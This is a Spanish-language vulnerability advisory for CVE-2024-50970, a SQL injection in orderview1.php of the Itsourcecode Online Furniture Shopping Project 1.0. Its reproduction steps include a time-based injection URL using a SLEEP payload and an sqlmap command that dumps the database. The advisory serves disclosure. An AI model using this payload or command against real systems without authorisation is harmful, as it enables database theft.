CVE-2024-50970
Descripción
Una vulnerabilidad de inyección SQL en orderview1.php de Itsourcecode Online Furniture Shopping Project 1.0 permite a atacantes remotos ejecutar comandos SQL arbitrarios a través del parámetro id.
Tipo de Vulnerabilidad
Inyección SQL
Proveedor del Producto
Itsourcecode
Base de Código del Producto Afectado:
https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/ - 1.0
Componente Afectado:
El Itsourcecode Online Furniture Shopping v1.0 es vulnerable a inyección SQL a través del parámetro id en la página orderview1.php
Vectores de Ataque:
- Configure la aplicación localmente, registre una cuenta e inicie sesión con la cuenta recién registrada.
- Navegue a la siguiente URL en su navegador:
http://localhost/nikos/orderview1.php?action=edit&id=1728835149
- Inyecte la carga útil SQL:
Modifique el parámetro id en la URL para incluir una carga útil de inyección SQL basada en tiempo.
http://localhost/nikos/orderview1.php?action=edit&id=1728835149+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))DTmU)
- Observe la respuesta de la aplicación:
La página debería tardar notablemente más (10 segundos) en cargarse si la inyección tiene éxito, confirmando que el parámetro id es vulnerable a inyección SQL.
- Ahora use la herramienta SQLMap para una mayor explotación y volcado de bases de datos usando el siguiente comando:
python sqlmap.py -u "http://localhost/nikos/orderview1.php?action=edit&id=1728835149" --cookie="PHPSESSID=your_cookie_here"--risk 3 --level 3 --dbs --technique=T --dump --no-cast
Referencia:
- https://itsourcecode.com/free-projects/php-project/online-furniture-shop-in-php-projects-free-source-code-and-database/
- https://owasp.org/www-community/attacks/SQL_Injection